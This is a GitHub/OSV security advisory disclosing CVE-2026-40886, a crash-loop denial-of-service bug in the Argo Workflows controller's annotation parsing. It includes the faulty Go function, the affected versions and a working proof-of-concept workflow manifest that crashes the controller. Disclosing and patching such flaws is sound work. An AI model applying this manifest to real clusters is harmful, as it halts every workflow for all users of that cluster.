CVE-2026-40886: Argo Workflows Unchecked Annotation Parsing Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5jv8-h7qh-rf5p",
  "modified" : "2026-04-23T21:39:21Z",
  "published" : "2026-04-23T21:39:21Z",
  "aliases" : [ "CVE-2026-40886" ],
  "summary" : "Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller",
  "details" : "### Summary\n\nAn unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.\n\n### Details\n\n`podGCFromPod()` splits the annotation value on \"/\" and unconditionally accesses `parts[1]`:\n\n```go\nfunc podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {\n    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {\n        parts := strings.Split(val, \"/\")\n        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}\n    }\n    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}\n}\n```\n\nIf the annotation value contains no \"/\", `parts` has length 1 and `parts[1]` panics with index out of range.\n\nThe code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and  affects versions:\n\n  - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263))\n  - 3.7.x: v3.7.0-rc1 through v3.7.12\n  - 4.x: v4.0.0-rc1 through v4.0.3\n  - Not affected: v3.6.4 and earlier\n\n### PoC\n\nApply this workflow to a cluster running the Argo Workflows controller:\n\n```bash\nkubectl apply -n argo -f - <<'EOF'\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  name: crash-podgc\nspec:\n  entrypoint: main\n  serviceAccountName: default\n  podGC:\n    strategy: OnPodCompletion\n  podMetadata:\n    annotations:\n      workflows.argoproj.io/pod-gc-strategy: \"NoSlash\"\n  templates:\n    - name: main\n      container:\n        image: alpine:3.18\n        command: [echo, \"hello\"]\nEOF\n```\n\nWithin seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show:\n\n```\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 291 [running]:\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)\n    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246\n```\n\nRecovery requires deleting the poisoned workflow:\n\n```\nkubectl delete workflow -n argo crash-podgc\n```\n\n### Impact\n\nAny user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.0.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.7.0"
      }, {
        "fixed" : "3.7.14"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.6.5"
      }, {
        "last_affected" : "3.6.19"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40886"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-workflows"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-129" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-23T21:39:21Z",
    "nvd_published_at" : "2026-04-23T19:17:28Z"
  }
}